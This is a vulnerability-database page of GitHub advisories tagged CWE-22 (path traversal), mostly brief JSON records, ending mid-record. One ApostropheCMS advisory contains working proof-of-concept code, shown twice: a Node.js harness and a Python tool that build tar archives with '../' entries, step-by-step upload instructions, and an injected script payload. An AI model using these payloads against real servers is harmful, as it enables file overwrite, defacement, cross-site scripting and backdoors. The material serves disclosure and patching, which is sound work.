CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13251 vulnerabilities reference this CWE, most recent first.
GHSA-MWQ5-5F7R-QCV9
Vulnerability from github – Published: 2022-03-01 00:00 – Updated: 2022-03-08 00:00The Contact Forms - Drag & Drop Contact Form Builder WordPress plugin through 1.0.5 allows high privilege users to download arbitrary files from the web server via a path traversal attack
{
"affected": [],
"aliases": [
"CVE-2021-24689"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-28T09:15:00Z",
"severity": "MODERATE"
},
"details": "The Contact Forms - Drag \u0026 Drop Contact Form Builder WordPress plugin through 1.0.5 allows high privilege users to download arbitrary files from the web server via a path traversal attack",
"id": "GHSA-mwq5-5f7r-qcv9",
"modified": "2022-03-08T00:00:38Z",
"published": "2022-03-01T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24689"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/31824250-e0d4-4285-97fa-9880b363e075"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MWRX-JX87-85XC
Vulnerability from github – Published: 2026-07-19 09:31 – Updated: 2026-07-19 09:31A flaw has been found in Croogo CMS up to 4.0.7. This affects the function FileManager::isEditable of the file FileManager/src/Utility/FileManager.php of the component Admin File Manager. This manipulation causes path traversal. The attack can be initiated remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-16219"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-19T07:16:48Z",
"severity": "LOW"
},
"details": "A flaw has been found in Croogo CMS up to 4.0.7. This affects the function FileManager::isEditable of the file FileManager/src/Utility/FileManager.php of the component Admin File Manager. This manipulation causes path traversal. The attack can be initiated remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-mwrx-jx87-85xc",
"modified": "2026-07-19T09:31:36Z",
"published": "2026-07-19T09:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16219"
},
{
"type": "WEB",
"url": "https://github.com/croogo/croogo/issues/1008"
},
{
"type": "WEB",
"url": "https://github.com/fa1c4/security-advisories/tree/main/Croogo"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-16219"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/857986"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380042"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380042/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MWV7-RW63-QFM9
Vulnerability from github – Published: 2026-05-18 00:31 – Updated: 2026-05-18 00:31A vulnerability was detected in Kilo-Org kilocode up to 7.0.47. This vulnerability affects the function Bun.file of the file packages/opencode/src/kilocode/review/worktree-diff.ts of the component File Diff API Endpoint. Performing a manipulation of the argument File results in path traversal. It is possible to initiate the attack remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-8765"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-17T23:17:02Z",
"severity": "LOW"
},
"details": "A vulnerability was detected in Kilo-Org kilocode up to 7.0.47. This vulnerability affects the function Bun.file of the file packages/opencode/src/kilocode/review/worktree-diff.ts of the component File Diff API Endpoint. Performing a manipulation of the argument File results in path traversal. It is possible to initiate the attack remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-mwv7-rw63-qfm9",
"modified": "2026-05-18T00:31:36Z",
"published": "2026-05-18T00:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8765"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/1770f4530b0c933dc61f15b02aa0629d"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/811401"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/364390"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/364390/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MWV8-PR5J-J6W9
Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:08Valve Steam Client before 2019-09-12 allows placing or appending partially controlled filesystem content, as demonstrated by file modifications on Windows in the context of NT AUTHORITY\SYSTEM. This could lead to denial of service, elevation of privilege, or unspecified other impact.
{
"affected": [],
"aliases": [
"CVE-2019-17180"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-04T20:15:00Z",
"severity": "HIGH"
},
"details": "Valve Steam Client before 2019-09-12 allows placing or appending partially controlled filesystem content, as demonstrated by file modifications on Windows in the context of NT AUTHORITY\\SYSTEM. This could lead to denial of service, elevation of privilege, or unspecified other impact.",
"id": "GHSA-mwv8-pr5j-j6w9",
"modified": "2024-04-04T02:08:51Z",
"published": "2022-05-24T16:57:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17180"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/583184"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/682774"
},
{
"type": "WEB",
"url": "https://amonitoring.ru/article/steam_vuln_3"
},
{
"type": "WEB",
"url": "https://habr.com/ru/company/pm/blog/469507"
},
{
"type": "WEB",
"url": "https://store.steampowered.com/news/54236"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MWVJ-RH8M-297X
Vulnerability from github – Published: 2022-05-14 01:46 – Updated: 2022-05-14 01:46Directory traversal in the Drobo Pix web application on Drobo 5N2 NAS version 4.0.5-13.28.96115 allows unauthenticated attackers to upload files to arbitrary locations.
{
"affected": [],
"aliases": [
"CVE-2018-14707"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-03T22:29:00Z",
"severity": "HIGH"
},
"details": "Directory traversal in the Drobo Pix web application on Drobo 5N2 NAS version 4.0.5-13.28.96115 allows unauthenticated attackers to upload files to arbitrary locations.",
"id": "GHSA-mwvj-rh8m-297x",
"modified": "2022-05-14T01:46:42Z",
"published": "2022-05-14T01:46:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14707"
},
{
"type": "WEB",
"url": "https://blog.securityevaluators.com/call-me-a-doctor-new-vulnerabilities-in-drobo5n2-4f1d885df7fc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MWVX-758M-VMGX
Vulnerability from github – Published: 2022-05-17 05:50 – Updated: 2022-05-17 05:50Directory traversal vulnerability in the iF surfALERT (com_if_surfalert) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
{
"affected": [],
"aliases": [
"CVE-2010-1717"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-05-04T16:00:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the iF surfALERT (com_if_surfalert) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.",
"id": "GHSA-mwvx-758m-vmgx",
"modified": "2022-05-17T05:50:41Z",
"published": "2022-05-17T05:50:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1717"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39526"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/12291"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0924"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MWWH-X3J4-8G37
Vulnerability from github – Published: 2022-05-14 03:51 – Updated: 2025-04-11 03:56Multiple directory traversal vulnerabilities in the Get Template feature in plugins/gui.ajax/class.AJXP_ClientDriver.php in AjaXplorer 3.2.x before 3.2.5 and 4.0.x before 4.0.4 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the (1) pluginName or (2) pluginPath parameter in a get_template action. NOTE: some of these details are obtained from third party information.
{
"affected": [],
"aliases": [
"CVE-2012-1839"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-03-22T10:17:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in the Get Template feature in plugins/gui.ajax/class.AJXP_ClientDriver.php in AjaXplorer 3.2.x before 3.2.5 and 4.0.x before 4.0.4 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the (1) pluginName or (2) pluginPath parameter in a get_template action. NOTE: some of these details are obtained from third party information.",
"id": "GHSA-mwwh-x3j4-8g37",
"modified": "2025-04-11T03:56:26Z",
"published": "2022-05-14T03:51:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-1839"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/73671"
},
{
"type": "WEB",
"url": "http://ajaxplorer.info/ajaxplorer-4-0-4"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48226"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/504019"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/79810"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/52298"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MWWV-F6QM-QMVC
Vulnerability from github – Published: 2023-01-03 03:30 – Updated: 2023-01-03 03:30aEnrich a+HRD log read function has a path traversal vulnerability. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and download arbitrary system files.
{
"affected": [],
"aliases": [
"CVE-2022-39040"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-03T03:15:00Z",
"severity": "HIGH"
},
"details": "aEnrich a+HRD log read function has a path traversal vulnerability. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and download arbitrary system files.",
"id": "GHSA-mwwv-f6qm-qmvc",
"modified": "2023-01-03T03:30:20Z",
"published": "2023-01-03T03:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39040"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-6793-66aee-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MWXC-M426-3F78
Vulnerability from github – Published: 2026-03-18 19:49 – Updated: 2026-03-18 19:49Reported: 2026-03-08
Status: patched and released in version 3.5.3 of @apostrophecms/import-export
Product
| Field | Value |
|---|---|
| Repository | apostrophecms/apostrophe (monorepo) |
| Affected Package | @apostrophecms/import-export |
| Affected File | packages/import-export/lib/formats/gzip.js |
| Affected Function | extract(filepath, exportPath) — lines ~132–157 |
| Minimum Required Permission | Global Content Modify (any editor-level user with import access) |
Vulnerability Summary
The extract() function in gzip.js constructs file-write paths using:
fs.createWriteStream(path.join(exportPath, header.name))
path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened.
This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem.
Security Impact
This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is:
1. Arbitrary File Write
Write any file to any path the Node.js process user can access. Confirmed writable targets in testing:
- Any path the CMS process has permission to
2. Static Web Directory — Defacement & Malicious Asset Injection
ApostropheCMS serves <project-root>/public/ via Express static middleware:
// packages/apostrophe/modules/@apostrophecms/asset/index.js
express.static(self.apos.rootDir + '/public', self.options.static || {})
A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible:
This enables: - Full site defacement - Serving phishing pages from the legitimate CMS domain - Injecting malicious JavaScript served to all site visitors (stored XSS at scale)
3. Persistent Backdoor / RCE (Post-Restart)
If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure — meaning the attacker does not need to manually trigger one.
4. Credential and Secret File Overwrite
Overwrite .env, app.config.js, database seed files, or any config file to:
- Exfiltrate database credentials on next load
- Redirect authentication to an attacker-controlled backend
- Disable security controls (rate limiting, MFA, CSRF)
5. Denial of Service
Overwrite any critical application file (package.json, node_modules entries, etc.) with garbage data, rendering the application unbootable.
Required Permission
Global Content Modify — this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.
Proof of Concept
Two PoC artifacts are provided:
| File | Purpose |
|---|---|
tmp-import-export-zip-slip-poc.js |
Automated Node.js harness — verifies the write happens without a browser |
make-slip-tar.py |
Attacker tool — generates a real .tar.gz for upload via the CMS web UI |
PoC 1 — Automated Verification (tmp-import-export-zip-slip-poc.js)
const fs = require('node:fs');
const fsp = require('node:fs/promises');
const path = require('node:path');
const os = require('node:os');
const zlib = require('node:zlib');
const tar = require('tar-stream');
const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');
async function makeArchive(archivePath) {
const pack = tar.pack();
const gzip = zlib.createGzip();
const out = fs.createWriteStream(archivePath);
const done = new Promise((resolve, reject) => {
out.on('finish', resolve);
out.on('error', reject);
gzip.on('error', reject);
pack.on('error', reject);
});
pack.pipe(gzip).pipe(out);
pack.entry({ name: 'aposDocs.json' }, '[]');
pack.entry({ name: 'aposAttachments.json' }, '[]');
// Traversal payload
pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR');
pack.finalize();
await done;
}
(async () => {
const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-'));
const archivePath = path.join(base, 'evil-export.gz');
const exportPath = archivePath.replace(/\.gz$/, '');
await makeArchive(archivePath);
const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');
// Ensure clean pre-state
try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}
await gzipFormat.input(archivePath);
const exists = fs.existsSync(expectedOutsideWrite);
const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';
console.log('EXPORT_PATH:', exportPath);
console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite);
console.log('ZIP_SLIP_WRITE_HAPPENED:', exists);
console.log('WRITTEN_CONTENT:', content.trim());
})();
Run:
node .\tmp-import-export-zip-slip-poc.js
Observed output (confirmed):
EXPORT_PATH: C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export
EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt
ZIP_SLIP_WRITE_HAPPENED: true
WRITTEN_CONTENT: PWNED_FROM_TAR
The file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal.
PoC 2 — Web UI Exploitation (make-slip-tar.py)
Script (make-slip-tar.py):
import tarfile, io, sys
if len(sys.argv) != 3:
print("Usage: python make-slip-tar.py <payload_file> <target_path>")
sys.exit(1)
payload_file = sys.argv[1]
target_path = sys.argv[2]
out = "evil-slip.tar.gz"
with open(payload_file, "rb") as f:
payload = f.read()
with tarfile.open(out, "w:gz") as t:
docs = io.BytesIO(b"[]")
info = tarfile.TarInfo("aposDocs.json")
info.size = len(docs.getvalue())
t.addfile(info, docs)
atts = io.BytesIO(b"[]")
info = tarfile.TarInfo("aposAttachments.json")
info.size = len(atts.getvalue())
t.addfile(info, atts)
info = tarfile.TarInfo(target_path)
info.size = len(payload)
t.addfile(info, io.BytesIO(payload))
print("created", out)
Steps to Reproduce (Web UI — Real Exploitation)
Step 1 — Create the payload file
Create a file with the content you want to write to the server. For a static web directory write:
echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.html
Step 2 — Generate the malicious archive
Use the traversal path that reaches the CMS public/ directory. The number of ../ segments depends on where the CMS stores its temporary extraction directory relative to the project root — typically 2–4 levels up. Adjust as needed:
python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html"
This creates evil-slip.tar.gz containing:
- aposDocs.json — empty, required by the importer
- aposAttachments.json — empty, required by the importer
- ../../../../<project-root>/public/injected.html — the traversal payload
Step 3 — Upload via CMS Import UI
- Log in to the CMS with any account that has Global Content Modify permission.
- Navigate to Open Global Settings → More Options → Import.
- Select
evil-slip.tar.gzand click Import. - The CMS accepts the file and begins extraction — no error is shown.
Step 4 — Confirm the write
curl http://localhost:3000/injected.html
Expected response:
<!-- injected by attacker --><script>alert('XSS')</script>
The file is now being served from the CMS's own domain to all visitors.
Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.5.2"
},
"package": {
"ecosystem": "npm",
"name": "@apostrophecms/import-export"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32731"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T19:49:07Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "**Reported:** 2026-03-08 \n**Status:** patched and released in version 3.5.3 of `@apostrophecms/import-export`\n\n---\n\n## Product\n\n| Field | Value |\n|---|---|\n| Repository | `apostrophecms/apostrophe` (monorepo) |\n| Affected Package | `@apostrophecms/import-export` |\n| Affected File | `packages/import-export/lib/formats/gzip.js` |\n| Affected Function | `extract(filepath, exportPath)` \u2014 lines ~132\u2013157 |\n| Minimum Required Permission | **Global Content Modify** (any editor-level user with import access) |\n\n---\n\n## Vulnerability Summary\n\nThe `extract()` function in `gzip.js` constructs file-write paths using:\n\n```js\nfs.createWriteStream(path.join(exportPath, header.name))\n```\n\n`path.join()` does **not** resolve or sanitise traversal segments such as `../`. It concatenates them as-is, meaning a tar entry named `../../evil.js` resolves to a path **outside** the intended extraction directory. No canonical-path check is performed before the write stream is opened.\n\nThis is a textbook **Zip Slip** vulnerability. Any user who has been granted the **Global Content Modify** permission \u2014 a role routinely assigned to content editors and site managers \u2014 can upload a crafted `.tar.gz` file through the standard CMS import UI and write attacker-controlled content to **any path the Node.js process can reach on the host filesystem**.\n\n---\n\n## Security Impact\n\nThis vulnerability provides **unauthenticated-equivalent arbitrary file write** to any user with content editor permissions. The full impact chain is:\n\n### 1. Arbitrary File Write\nWrite any file to any path the Node.js process user can access. Confirmed writable targets in testing:\n\n- Any path the CMS process has permission to\n\n### 2. Static Web Directory \u2014 Defacement \u0026 Malicious Asset Injection\nApostropheCMS serves `\u003cproject-root\u003e/public/` via Express static middleware:\n\n```js\n// packages/apostrophe/modules/@apostrophecms/asset/index.js\nexpress.static(self.apos.rootDir + \u0027/public\u0027, self.options.static || {})\n```\n\nA traversal payload targeting `public/` makes any uploaded file **directly HTTP-accessible**:\n\nThis enables:\n- Full site defacement\n- Serving phishing pages from the legitimate CMS domain\n- Injecting malicious JavaScript served to all site visitors (stored XSS at scale)\n\n### 3. Persistent Backdoor / RCE (Post-Restart)\nIf the traversal targets any `.js` file loaded by Node.js on startup (e.g., a module `index.js`, a config file, a routes file), the payload becomes a **persistent backdoor** that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure \u2014 meaning the attacker does not need to manually trigger one.\n\n### 4. Credential and Secret File Overwrite\nOverwrite `.env`, `app.config.js`, database seed files, or any config file to:\n- Exfiltrate database credentials on next load\n- Redirect authentication to an attacker-controlled backend\n- Disable security controls (rate limiting, MFA, CSRF)\n\n### 5. Denial of Service\nOverwrite any critical application file (`package.json`, `node_modules` entries, etc.) with garbage data, rendering the application unbootable.\n\n---\n\n## Required Permission\n\n**Global Content Modify** \u2014 this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is **not** an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.\n\n---\n\n## Proof of Concept\n\nTwo PoC artifacts are provided:\n\n| File | Purpose |\n|---|---|\n| `tmp-import-export-zip-slip-poc.js` | Automated Node.js harness \u2014 verifies the write happens without a browser |\n| `make-slip-tar.py` | Attacker tool \u2014 generates a real `.tar.gz` for upload via the CMS web UI |\n\n---\n\n### PoC 1 \u2014 Automated Verification (`tmp-import-export-zip-slip-poc.js`)\n\n```js\nconst fs = require(\u0027node:fs\u0027);\nconst fsp = require(\u0027node:fs/promises\u0027);\nconst path = require(\u0027node:path\u0027);\nconst os = require(\u0027node:os\u0027);\nconst zlib = require(\u0027node:zlib\u0027);\nconst tar = require(\u0027tar-stream\u0027);\n\nconst gzipFormat = require(\u0027./packages/import-export/lib/formats/gzip.js\u0027);\n\nasync function makeArchive(archivePath) {\n const pack = tar.pack();\n const gzip = zlib.createGzip();\n const out = fs.createWriteStream(archivePath);\n\n const done = new Promise((resolve, reject) =\u003e {\n out.on(\u0027finish\u0027, resolve);\n out.on(\u0027error\u0027, reject);\n gzip.on(\u0027error\u0027, reject);\n pack.on(\u0027error\u0027, reject);\n });\n\n pack.pipe(gzip).pipe(out);\n\n pack.entry({ name: \u0027aposDocs.json\u0027 }, \u0027[]\u0027);\n pack.entry({ name: \u0027aposAttachments.json\u0027 }, \u0027[]\u0027);\n\n // Traversal payload\n pack.entry({ name: \u0027../../zip-slip-pwned.txt\u0027 }, \u0027PWNED_FROM_TAR\u0027);\n\n pack.finalize();\n await done;\n}\n\n(async () =\u003e {\n const base = await fsp.mkdtemp(path.join(os.tmpdir(), \u0027apos-zip-slip-\u0027));\n const archivePath = path.join(base, \u0027evil-export.gz\u0027);\n const exportPath = archivePath.replace(/\\.gz$/, \u0027\u0027);\n\n await makeArchive(archivePath);\n\n const expectedOutsideWrite = path.resolve(exportPath, \u0027../../zip-slip-pwned.txt\u0027);\n\n // Ensure clean pre-state\n try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}\n\n await gzipFormat.input(archivePath);\n\n const exists = fs.existsSync(expectedOutsideWrite);\n const content = exists ? await fsp.readFile(expectedOutsideWrite, \u0027utf8\u0027) : \u0027\u0027;\n\n console.log(\u0027EXPORT_PATH:\u0027, exportPath);\n console.log(\u0027EXPECTED_OUTSIDE_WRITE:\u0027, expectedOutsideWrite);\n console.log(\u0027ZIP_SLIP_WRITE_HAPPENED:\u0027, exists);\n console.log(\u0027WRITTEN_CONTENT:\u0027, content.trim());\n})();\n```\n**Run:**\n```powershell\nnode .\\tmp-import-export-zip-slip-poc.js\n```\n\n**Observed output (confirmed):**\n```\nEXPORT_PATH: C:\\Users\\...\\AppData\\Local\\Temp\\apos-zip-slip-XXXXXX\\evil-export\nEXPECTED_OUTSIDE_WRITE: C:\\Users\\...\\AppData\\Local\\Temp\\zip-slip-pwned.txt\nZIP_SLIP_WRITE_HAPPENED: true\nWRITTEN_CONTENT: PWNED_FROM_TAR\n```\n\nThe file `zip-slip-pwned.txt` is written **two directories above** the extraction root, confirming path traversal.\n\n---\n\n### PoC 2 \u2014 Web UI Exploitation (`make-slip-tar.py`)\n\n**Script (`make-slip-tar.py`):**\n```python\nimport tarfile, io, sys\n\nif len(sys.argv) != 3:\n print(\"Usage: python make-slip-tar.py \u003cpayload_file\u003e \u003ctarget_path\u003e\")\n sys.exit(1)\n\npayload_file = sys.argv[1]\ntarget_path = sys.argv[2]\nout = \"evil-slip.tar.gz\"\n\nwith open(payload_file, \"rb\") as f:\n payload = f.read()\n\nwith tarfile.open(out, \"w:gz\") as t:\n docs = io.BytesIO(b\"[]\")\n info = tarfile.TarInfo(\"aposDocs.json\")\n info.size = len(docs.getvalue())\n t.addfile(info, docs)\n\n atts = io.BytesIO(b\"[]\")\n info = tarfile.TarInfo(\"aposAttachments.json\")\n info.size = len(atts.getvalue())\n t.addfile(info, atts)\n\n info = tarfile.TarInfo(target_path)\n info.size = len(payload)\n t.addfile(info, io.BytesIO(payload))\n\nprint(\"created\", out)\n```\n\n---\n\n## Steps to Reproduce (Web UI \u2014 Real Exploitation)\n\n### Step 1 \u2014 Create the payload file\n\nCreate a file with the content you want to write to the server. For a static web directory write:\n\n```bash\necho \"\u003c!-- injected by attacker --\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\" \u003e payload.html\n```\n\n### Step 2 \u2014 Generate the malicious archive\n\nUse the traversal path that reaches the CMS `public/` directory. The number of `../` segments depends on where the CMS stores its temporary extraction directory relative to the project root \u2014 typically 2\u20134 levels up. Adjust as needed:\n\n```bash\npython make-slip-tar.py payload.html \"../../../../\u003cproject-root\u003e/public/injected.html\"\n```\n\nThis creates `evil-slip.tar.gz` containing:\n- `aposDocs.json` \u2014 empty, required by the importer\n- `aposAttachments.json` \u2014 empty, required by the importer\n- `../../../../\u003cproject-root\u003e/public/injected.html` \u2014 the traversal payload\n\n### Step 3 \u2014 Upload via CMS Import UI\n\n1. Log in to the CMS with any account that has **Global Content Modify** permission.\n2. Navigate to **Open Global Settings \u2192 More Options \u2192 Import**.\n3. Select `evil-slip.tar.gz` and click **Import**.\n4. The CMS accepts the file and begins extraction \u2014 no error is shown.\n\n### Step 4 \u2014 Confirm the write\n\n```bash\ncurl http://localhost:3000/injected.html\n```\n\nExpected response:\n```\n\u003c!-- injected by attacker --\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\n```\n\nThe file is now being served from the CMS\u0027s own domain to all visitors.\n\n### Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing\n---",
"id": "GHSA-mwxc-m426-3f78",
"modified": "2026-03-18T19:49:07Z",
"published": "2026-03-18T19:49:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mwxc-m426-3f78"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "ApostropheCMS has Arbitrary File Write (Zip Slip / Path Traversal) in Import-Export Gzip Extraction"
}
GHSA-MWXV-35WR-4VVJ
Vulnerability from github – Published: 2026-03-03 18:54 – Updated: 2026-03-20 21:12Summary
Gateway plugin route auth protection for /api/channels could be bypassed using encoded dot-segment traversal (for example ..%2f) in path variants that plugin handlers normalize.
Affected Packages / Versions
- Package: npm
openclaw - Latest published vulnerable version:
2026.2.25 - Vulnerable version range:
<= 2026.2.25 - Patched version:
2026.2.26(planned next release)
Impact
Under affected versions, crafted alternate paths could bypass gateway auth checks for protected plugin channel routes when plugin handlers decode/canonicalize the incoming path and then route to /api/channels/... handlers.
Fix Commit(s)
258d615c45527ffda37cecd08cd268f97461bde0
Release Process Note
patched_versions is pre-set to the planned next release (2026.2.26). After npm publish, maintainers only need to publish the advisory.
OpenClaw thanks @zpbrent for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.2.25"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.26"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32036"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-289"
],
"github_reviewed": true,
